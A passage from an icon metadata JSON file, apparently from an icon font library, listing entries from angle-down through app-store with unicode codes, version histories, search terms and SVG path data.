        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M347.1 215.4c11.7-32.6 45.4-126.9 45.4-157.1 0-26.6-15.7-48.9-43.7-48.9-44.6 0-84.6 131.7-97.1 163.1C242 144 196.6 0 156.6 0c-31.1 0-45.7 22.9-45.7 51.7 0 35.3 34.2 126.8 46.6 162-6.3-2.3-13.1-4.3-20-4.3-23.4 0-48.3 29.1-48.3 52.6 0 8.9 4.9 21.4 8 29.7-36.9 10-51.1 34.6-51.1 71.7C46 435.6 114.4 512 210.6 512c118 0 191.4-88.6 191.4-202.9 0-43.1-6.9-82-54.9-93.7zM311.7 108c4-12.3 21.1-64.3 37.1-64.3 8.6 0 10.9 8.9 10.9 16 0 19.1-38.6 124.6-47.1 148l-34-6 33.1-93.7zM142.3 48.3c0-11.9 14.5-45.7 46.3 47.1l34.6 100.3c-15.6-1.3-27.7-3-35.4 1.4-10.9-28.8-45.5-119.7-45.5-148.8zM140 244c29.3 0 67.1 94.6 67.1 107.4 0 5.1-4.9 11.4-10.6 11.4-20.9 0-76.9-76.9-76.9-97.7.1-7.7 12.7-21.1 20.4-21.1zm184.3 186.3c-29.1 32-66.3 48.6-109.7 48.6-59.4 0-106.3-32.6-128.9-88.3-17.1-43.4 3.8-68.3 20.6-68.3 11.4 0 54.3 60.3 54.3 73.1 0 4.9-7.7 8.3-11.7 8.3-16.1 0-22.4-15.5-51.1-51.4-29.7 29.7 20.5 86.9 58.3 86.9 26.1 0 43.1-24.2 38-42 3.7 0 8.3.3 11.7-.6 1.1 27.1 9.1 59.4 41.7 61.7 0-.9 2-7.1 2-7.4 0-17.4-10.6-32.6-10.6-50.3 0-28.3 21.7-55.7 43.7-71.7 8-6 17.7-9.7 27.1-13.1 9.7-3.7 20-8 27.4-15.4-1.1-11.2-5.7-21.1-16.9-21.1-27.7 0-120.6 4-120.6-39.7 0-6.7.1-13.1 17.4-13.1 32.3 0 114.3 8 138.3 29.1 18.1 16.1 24.3 113.2-31 174.7zm-98.6-126c9.7 3.1 19.7 4 29.7 6-7.4 5.4-14 12-20.3 19.1-2.8-8.5-6.2-16.8-9.4-25.1z"
      }
    },
    "free": ["brands"]
  },
  "angle-down": {
    "aliases": {
      "unicodes": {
        "composite": ["2304"],
        "secondary": ["10f107"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Down Arrowhead", "arrow", "caret", "download", "expand"]
    },
    "styles": ["solid"],
    "unicode": "f107",
    "label": "Angle Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M201.4 342.6c12.5 12.5 32.8 12.5 45.3 0l160-160c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L224 274.7 86.6 137.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M201.4 342.6c12.5 12.5 32.8 12.5 45.3 0l160-160c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L224 274.7 86.6 137.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160z"
      }
    },
    "free": ["solid"]
  },
  "angle-left": {
    "aliases": {
      "unicodes": {
        "composite": ["2039"],
        "secondary": ["10f104"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Single Left-Pointing Angle Quotation Mark",
        "arrow",
        "back",
        "caret",
        "less",
        "previous"
      ]
    },
    "styles": ["solid"],
    "unicode": "f104",
    "label": "Angle Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M41.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 256 246.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-160 160z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M41.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 256 246.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-160 160z"
      }
    },
    "free": ["solid"]
  },
  "angle-right": {
    "aliases": {
      "unicodes": {
        "composite": ["203a"],
        "secondary": ["10f105"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Single Right-Pointing Angle Quotation Mark",
        "arrow",
        "care",
        "forward",
        "more",
        "next"
      ]
    },
    "styles": ["solid"],
    "unicode": "f105",
    "label": "Angle Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M278.6 233.4c12.5 12.5 12.5 32.8 0 45.3l-160 160c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L210.7 256 73.4 118.6c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l160 160z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M278.6 233.4c12.5 12.5 12.5 32.8 0 45.3l-160 160c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L210.7 256 73.4 118.6c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l160 160z"
      }
    },
    "free": ["solid"]
  },
  "angle-up": {
    "aliases": {
      "unicodes": {
        "composite": ["2303"],
        "secondary": ["10f106"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Up Arrowhead", "arrow", "caret", "collapse", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f106",
    "label": "Angle Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M201.4 137.4c12.5-12.5 32.8-12.5 45.3 0l160 160c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L224 205.3 86.6 342.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l160-160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M201.4 137.4c12.5-12.5 32.8-12.5 45.3 0l160 160c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L224 205.3 86.6 342.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l160-160z"
      }
    },
    "free": ["solid"]
  },
  "angles-down": {
    "aliases": {
      "names": ["angle-double-down"],
      "unicodes": {
        "secondary": ["10f103"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrows", "caret", "download", "expand"]
    },
    "styles": ["solid"],
    "unicode": "f103",
    "label": "Angles Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M246.6 470.6c-12.5 12.5-32.8 12.5-45.3 0l-160-160c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L224 402.7 361.4 265.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-160 160zm160-352l-160 160c-12.5 12.5-32.8 12.5-45.3 0l-160-160c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L224 210.7 361.4 73.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M246.6 470.6c-12.5 12.5-32.8 12.5-45.3 0l-160-160c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L224 402.7 361.4 265.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-160 160zm160-352l-160 160c-12.5 12.5-32.8 12.5-45.3 0l-160-160c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L224 210.7 361.4 73.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3z"
      }
    },
    "free": ["solid"]
  },
  "angles-left": {
    "aliases": {
      "names": ["angle-double-left"],
      "unicodes": {
        "composite": ["ab"],
        "secondary": ["10f100"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Left-Pointing Double Angle Quotation Mark",
        "arrows",
        "back",
        "caret",
        "laquo",
        "previous",
        "quote"
      ]
    },
    "styles": ["solid"],
    "unicode": "f100",
    "label": "Angles Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M41.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 256 246.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-160 160zm352-160l-160 160c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L301.3 256 438.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M41.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 256 246.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-160 160zm352-160l-160 160c-12.5 12.5-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L301.3 256 438.6 118.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "angles-right": {
    "aliases": {
      "names": ["angle-double-right"],
      "unicodes": {
        "composite": ["bb"],
        "secondary": ["10f101"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Right-Pointing Double Angle Quotation Mark",
        "arrows",
        "caret",
        "forward",
        "more",
        "next",
        "quote",
        "raquo"
      ]
    },
    "styles": ["solid"],
    "unicode": "f101",
    "label": "Angles Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M470.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 256 265.4 393.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l160-160zm-352 160l160-160c12.5-12.5 12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L210.7 256 73.4 393.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M470.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 256 265.4 393.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l160-160zm-352 160l160-160c12.5-12.5 12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L210.7 256 73.4 393.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "angles-up": {
    "aliases": {
      "names": ["angle-double-up"],
      "unicodes": {
        "secondary": ["10f102"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrows", "caret", "collapse", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f102",
    "label": "Angles Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M246.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L224 109.3 361.4 246.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160zm160 352l-160-160c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L224 301.3 361.4 438.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M246.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L224 109.3 361.4 246.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160zm160 352l-160-160c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L224 301.3 361.4 438.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3z"
      }
    },
    "free": ["solid"]
  },
  "angrycreative": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f36e",
    "label": "Angry Creative",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 238.2l-3.2 28.2-34.5 2.3-2 18.1 34.5-2.3-3.2 28.2-34.4 2.2-2.3 20.1 34.4-2.2-3 26.1-64.7 4.1 12.7-113.2L527 365.2l-31.9 2-23.8-117.8 30.3-2 13.6 79.4 31.7-82.4 93.1-6.2zM426.8 371.5l28.3-1.8L468 249.6l-28.4 1.9-12.8 120zM162 388.1l-19.4-36-3.5 37.4-28.2 1.7 2.7-29.1c-11 18-32 34.3-56.9 35.8C23.9 399.9-3 377 .3 339.7c2.6-29.3 26.7-62.8 67.5-65.4 37.7-2.4 47.6 23.2 51.3 28.8l2.8-30.8 38.9-2.5c20.1-1.3 38.7 3.7 42.5 23.7l2.6-26.6 64.8-4.2-2.7 27.9-36.4 2.4-1.7 17.9 36.4-2.3-2.7 27.9-36.4 2.3-1.9 19.9 36.3-2.3-2.1 20.8 55-117.2 23.8-1.6L370.4 369l8.9-85.6-22.3 1.4 2.9-27.9 75-4.9-3 28-24.3 1.6-9.7 91.9-58 3.7-4.3-15.6-39.4 2.5-8 16.3-126.2 7.7zm-44.3-70.2l-26.4 1.7C84.6 307.2 76.9 303 65 303.8c-19 1.2-33.3 17.5-34.6 33.3-1.4 16 7.3 32.5 28.7 31.2 12.8-.8 21.3-8.6 28.9-18.9l27-1.7 2.7-29.8zm56.1-7.7c1.2-12.9-7.6-13.6-26.1-12.4l-2.7 28.5c14.2-.9 27.5-2.1 28.8-16.1zm21.1 70.8l5.8-60c-5 13.5-14.7 21.1-27.9 26.6l22.1 33.4zm135.4-45l-7.9-37.8-15.8 39.3 23.7-1.5zm-170.1-74.6l-4.3-17.5-39.6 2.6-8.1 18.2-31.9 2.1 57-121.9 23.9-1.6 30.7 102 9.9-104.7 27-1.8 37.8 63.6 6.5-66.6 28.5-1.9-4 41.2c7.4-13.5 22.9-44.7 63.6-47.5 40.5-2.8 52.4 29.3 53.4 30.3l3.3-32 39.3-2.7c12.7-.9 27.8.3 36.3 9.7l-4.4-11.9 32.2-2.2 12.9 43.2 23-45.7 31-2.2-43.6 78.4-4.8 44.3-28.4 1.9 4.8-44.3-15.8-43c1 22.3-9.2 40.1-32 49.6l25.2 38.8-36.4 2.4-19.2-36.8-4 38.3-28.4 1.9 3.3-31.5c-6.7 9.3-19.7 35.4-59.6 38-26.2 1.7-45.6-10.3-55.4-39.2l-4 40.3-25 1.6-37.6-63.3-6.3 66.2-56.8 3.7zm276.6-82.1c10.2-.7 17.5-2.1 21.6-4.3 4.5-2.4 7-6.4 7.6-12.1.6-5.3-.6-8.8-3.4-10.4-3.6-2.1-10.6-2.8-22.9-2l-2.9 28.8zM327.7 214c5.6 5.9 12.7 8.5 21.3 7.9 4.7-.3 9.1-1.8 13.3-4.1 5.5-3 10.6-8 15.1-14.3l-34.2 2.3 2.4-23.9 63.1-4.3 1.2-12-31.2 2.1c-4.1-3.7-7.8-6.6-11.1-8.1-4-1.7-8.1-2.8-12.2-2.5-8 .5-15.3 3.6-22 9.2-7.7 6.4-12 14.5-12.9 24.4-1.1 9.6 1.4 17.3 7.2 23.3zm-201.3 8.2l23.8-1.6-8.3-37.6-15.5 39.2z"
      }
    },
    "free": ["brands"]
  },
  "angular": {
    "changes": ["5.0.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f420",
    "label": "Angular",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M185.7 268.1h76.2l-38.1-91.6-38.1 91.6zM223.8 32L16 106.4l31.8 275.7 176 97.9 176-97.9 31.8-275.7zM354 373.8h-48.6l-26.2-65.4H168.6l-26.2 65.4H93.7L223.8 81.5z"
      }
    },
    "free": ["brands"]
  },
  "ankh": {
    "aliases": {
      "unicodes": {
        "composite": ["2625"],
        "secondary": ["10f644"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Ankh",
        "amulet",
        "copper",
        "coptic christianity",
        "copts",
        "crux ansata",
        "egypt",
        "venus"
      ]
    },
    "styles": ["solid"],
    "unicode": "f644",
    "label": "Ankh",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M96 128c0-35.3 28.7-64 64-64s64 28.7 64 64c0 41.6-20.7 76.6-46.6 104.1c-5.9 6.2-11.8 11.8-17.4 16.7c-5.6-4.9-11.5-10.5-17.4-16.7C116.7 204.6 96 169.6 96 128zM160 0C89.3 0 32 57.3 32 128c0 52.4 21.5 95.5 46.8 128H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96V480c0 17.7 14.3 32 32 32s32-14.3 32-32V320h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H241.2c25.4-32.5 46.8-75.6 46.8-128C288 57.3 230.7 0 160 0z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M96 128c0-35.3 28.7-64 64-64s64 28.7 64 64c0 41.6-20.7 76.6-46.6 104.1c-5.9 6.2-11.8 11.8-17.4 16.7c-5.6-4.9-11.5-10.5-17.4-16.7C116.7 204.6 96 169.6 96 128zM160 0C89.3 0 32 57.3 32 128c0 52.4 21.5 95.5 46.8 128H32c-17.7 0-32 14.3-32 32s14.3 32 32 32h96V480c0 17.7 14.3 32 32 32s32-14.3 32-32V320h96c17.7 0 32-14.3 32-32s-14.3-32-32-32H241.2c25.4-32.5 46.8-75.6 46.8-128C288 57.3 230.7 0 160 0z"
      }
    },
    "free": ["solid"]
  },
  "app-store": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f36f",
    "label": "App Store",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M255.9 120.9l9.1-15.7c5.6-9.8 18.1-13.1 27.9-7.5 9.8 5.6 13.1 18.1 7.5 27.9l-87.5 151.5h63.3c20.5 0 32 24.1 23.1 40.8H113.8c-11.3 0-20.4-9.1-20.4-20.4 0-11.3 9.1-20.4 20.4-20.4h52l66.6-115.4-20.8-36.1c-5.6-9.8-2.3-22.2 7.5-27.9 9.8-5.6 22.2-2.3 27.9 7.5l8.9 15.7zm-78.7 218l-19.6 34c-5.6 9.8-18.1 13.1-27.9 7.5-9.8-5.6-13.1-18.1-7.5-27.9l14.6-25.2c16.4-5.1 29.8-1.2 40.4 11.6zm168.9-61.7h53.1c11.3 0 20.4 9.1 20.4 20.4 0 11.3-9.1 20.4-20.4 20.4h-29.5l19.9 34.5c5.6 9.8 2.3 22.2-7.5 27.9-9.8 5.6-22.2 2.3-27.9-7.5-33.5-58.1-58.7-101.6-75.4-130.6-17.1-29.5-4.9-59.1 7.2-69.1 13.4 23 33.4 57.7 60.1 104zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm216 248c0 118.7-96.1 216-216 216-118.7 0-216-96.1-216-216 0-118.7 96.1-216 216-216 118.7 0 216 96.1 216 216z"
      }
    },
    "free": ["brands"]
  },
  "app-store-ios": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f370",
    "label": "iOS App Store",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
